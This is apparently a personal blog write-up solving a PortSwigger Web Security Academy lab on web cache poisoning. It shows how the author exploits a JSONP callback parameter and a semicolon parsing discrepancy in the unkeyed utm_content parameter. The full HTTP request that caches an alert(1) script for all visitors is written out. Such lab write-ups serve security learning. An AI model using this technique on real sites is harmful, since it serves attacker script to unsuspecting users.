The hint The website excludes a certain UTM analytics parameter.. It was probably utm_content param. I double checked using Param miner BApp, which confirmed it. Now lets just observe the web application. I looked at inspect, network requests, and console for anything interesting. Well I found this new call to /js/geolocate.js?callback=setCountryCookie with contents:

const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
setCountryCookie({"country":"United Kingdom"});

That callback parameter is interesting and the academy did point it out as well. So the value of the callback parameter is the name of the function that is executed. Ok so what happens if I replay this request with setLangCookie as callback?

const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
setLangCookie({"country":"United Kingdom"});

Nice, so the callback dynamically updates the response from that js endpoint. What if I call /js/geolocate.js?callback=alert(1)?

const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
alert(1)({"country":"United Kingdom"});

Oh, so that it. We need to get this js endpoint cached, so it gets served to all the clients. This is my final payload, just spam send this request once the existing cache expires. You will know it works when you see alert(1) in the response.

GET /js/geolocate.js?callback=setCountryCookie&utm_content=test;callback=alert(1) HTTP/2
Host: 0a5900ef04b90d60800c1cc100dd0021.web-security-academy.net
Pragma: x-get-cache-key

What this does is change the callback function to alert(1). Because utm_content is not keyed and the front end ignores ;, there is a parsing discrepency with backend. The front end receives the full request, ignores &utm_content=test;callback=alert(1) for caching, and sends full request to backend. Backend receives ?callback=setCountryCookie&utm_content=test;callback=alert(1), splits them into 3 seperate requests. Due to parsing discrepency, the ; is considered a new parameter. The callback is set to alert(1) and the response is send back to frontend where it is cached with key ?callback=setCountryCookie. So now when a user visits the webpage and it fetches this js endpoint, it will be served the malicious cached version. Very interesting and cool lab, I finally understood it after so many hours. These are getting hard lol.

© 2025 Wayne Zeng   •  Theme  Moonwalk